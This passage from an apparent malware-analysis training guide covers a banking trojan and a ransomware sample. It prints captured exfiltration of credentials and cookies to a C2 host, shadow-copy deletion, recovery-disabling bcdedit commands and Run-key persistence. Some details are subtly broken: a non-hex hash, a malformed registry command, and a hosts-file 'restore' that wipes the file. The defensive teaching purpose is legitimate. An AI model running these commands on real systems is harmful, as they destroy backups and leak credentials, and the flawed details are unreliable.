Inspect persistence:

`reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run`

Output:

Key: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`

Value: `BankingHelper REG_SZ C:\Users\Victim\AppData\Roaming\banking_helper.exe`

5. Credential Harvesting

Monitor memory dumps:

- Captures browser credentials using Mimikatz-like techniques.
- Extracted credentials are stored in `C:\Users\Victim\AppData\Local\Temp\stolen_data.enc`.

Behavioral Analysis

1. Keylogging

Captured keystrokes:

[2024-12-04 10:00:00] Visited URL: https://login.mybank.com

[2024-12-04 10:01:00] Entered username: victim_user

[2024-12-04 10:01:30] Entered password: Pass1234

2. Redirects

The malware modifies the hosts file:

127.0.0.1 secure.bankabc.com

Redirects users to a phishing page hosted locally.

3. Exfiltration

Captured POST requests:

POST /data HTTP/1.1

Host: malicious-banking-server[.]com

Content-Length: 512

username=victim_user&password=Pass1234&cookies=sessionid=abc123

Indicators of Compromise (IoCs)

1. File Hash:

- SHA256:
ab12cd34ef56gh78ij90kl12mn34op56qr78st90uv12wx34yz56ab78cd90ef12

2. C2 Domain:

- http://malicious-banking-server[.]com

3. Registry Key:

- HKCU\Software\Microsoft\Windows\CurrentVersion\Run\BankingHelper

4. File Artifacts:

- C:\Users\Victim\AppData\Roaming\banking_helper.exe
- C:\Users\Victim\AppData\Local\Temp\stolen_data.enc

5. Hosts File Modifications:

- Redirects secure.bankabc.com to 127.0.0.1.

Mitigation Strategies

1. Containment

- Disconnect the affected system from the network immediately.
- Block the malicious domain in firewalls.

2. File and Registry Cleanup

- Remove the malicious executable and registry entries:

```
del C:\Users\Victim\AppData\Roaming\banking_helper.exe
```

```
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BankingHelper
```

3. Undo Hosts File Modifications

Restore the original hosts file:

```
echo "" > C:\Windows\System32\drivers\etc\hosts
```

4. Credential Management

- Invalidate compromised credentials.
- Implement multi-factor authentication (MFA) for financial accounts.

5. System Hardening

- Deploy endpoint protection solutions capable of detecting banking trojans.
- Restrict browser access to sensitive banking sites to authorised applications only.

Scenario 8: Ransomware Sample Analysis

A company experiences a ransomware attack where critical files are encrypted with the .lockfile extension. The attacker left a ransom note, *READ_ME.txt*, demanding cryptocurrency payment. A sample of the ransomware, ransom.exe, was retrieved for analysis, sourced from MalwareBazaar.

Objective

Analyse the ransomware sample to understand its encryption mechanism, behavior and potential weaknesses for decryption.

Static Analysis

1. File Identification

Check the file type and structure:

file ransom.exe

Output:

ransom.exe: PE32 executable (console) Intel 80386, for MS Windows

2. Hash Calculation

Generate the file hash for lookup and correlation:

sha256sum ransom.exe

Output:

f17b2c98ef4ab2d2315c9a9db4345f876f8e4f8abac12345cd789ef000123456

3. Strings Extraction

Inspect the ransomware for readable strings:

strings ransom.exe | less

Key Observations:

- References to encrypted file extensions:
 - .lockfile

- Encryption libraries:
 - AES, RSA, CryptGenRandom
- Ransom note content:

All your files have been encrypted.

Contact us at `decrypt_support@[malicious_domain].com`.

- Registry manipulation:
 - Disabling recovery options: `bcdedit /set {default} recoveryenabled no`

4. PE Header Analysis

Inspect the binary with `peframe`:

```
peframe ransom.exe
```

Findings:

- Suspicious imports:
 - `CryptEncrypt`, `CryptGenRandom` (encryption and random key generation).
 - `SHFileOperation` (deleting shadow copies).
- High entropy in `.data` section, indicating packed data or encrypted payloads.

5. Threat Intelligence Lookup

Search the hash on VirusTotal:

```
curl -X POST --form "file=@ransom.exe" https://www.virustotal.com/api/v3/files
```

Result:

Identified as a new variant of **LockBit Ransomware**.

Dynamic Analysis

1. Execution in Sandbox

Run `ransom.exe` in an isolated Windows VM and monitor:

- **ProcMon** for file and registry activity.
- **Wireshark** for network traffic.

- **RegShot** for registry changes.

2. Observing Ransomware Behavior

Key actions observed:

- **File Encryption:**
 - Targets user documents, spreadsheets and media.
 - Appends .lockfile to filenames.
 - Deletes original files after encryption.
- **Shadow Copy Deletion:**

vssadmin delete shadows /all /quiet

- **Ransom Note Deployment:** Creates *READ_ME.txt* in every affected directory.

3. Network Activity

Analyse with Wireshark:

- Sends the encryption key to `http://malicious-c2-server[.]com/key_exchange`.
- Encrypted payload:

POST /key_exchange HTTP/1.1

Host: malicious-c2-server[.]com

Content-Length: 256

<Base64-encoded RSA public key>

4. Registry Manipulation

Disables recovery and safe mode:

`reg add HKLM\System\CurrentControlSet\Control\SafeBoot /v Minimal /t REG_SZ /d /`

`bcdedit /set {default} recoveryenabled no`

Behavioral Analysis

1. Encryption Analysis

Encrypted files:

- Original file: invoice.docx
- Encrypted file: invoice.docx.lockfile

Inspect the ransomware process for encryption behavior:

- Uses **AES-256** for local file encryption.
- Encrypts AES keys with an attacker-provided **RSA-2048** public key.

2. Key Exchange

Captured traffic reveals the malware:

- Generates a unique AES key per victim.
- Sends the AES key encrypted with the attacker's RSA public key to the C2 server.

3. Persistence Mechanism

Creates a registry entry to ensure startup:

```
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ransomware /t REG_SZ  
/d C:\Users\Victim\AppData\Local\ransom.exe
```

Indicators of Compromise (IoCs)

1. File Hash:

- SHA256:
f17b2c98ef4ab2d2315c9a9db4345f876f8e4f8abac12345cd789ef000123456

2. C2 Domain:

- http://malicious-c2-server[.]com/key_exchange

3. Registry Key:

- HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ransomware

4. File Extensions:

- .lockfile

5. Ransom Note:

- *READ_ME.txt* with the following content:

Your files have been encrypted. Contact [decrypt_support@\[malicious_domain\].com](mailto:decrypt_support@[malicious_domain].com).

Mitigation Strategies

1. Immediate Containment

- Disconnect the affected systems from the network.
- Isolate backups to prevent further encryption.

2. File Recovery

- Attempt recovery using shadow copies if available.
- Explore decryption tools for known ransomware variants (NoMoreRansom project).

3. Prevent Persistence

- Remove registry entries and startup files:

reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ransomware

4. Network Blocking

- Block the C2 domain in firewalls and proxies:

malicious-c2-server[.]com

5. User Awareness

Educate users to avoid opening unknown attachments or links.

Remediation Steps

1. **Endpoint Protection:** Deploy advanced endpoint detection tools to identify and block ransomware execution.
2. **Regular Backups:** Maintain offline, encrypted backups to ensure data recovery.
3. **System Hardening:**
 - Disable unnecessary services like SMB.
 - Apply the latest patches to address known vulnerabilities.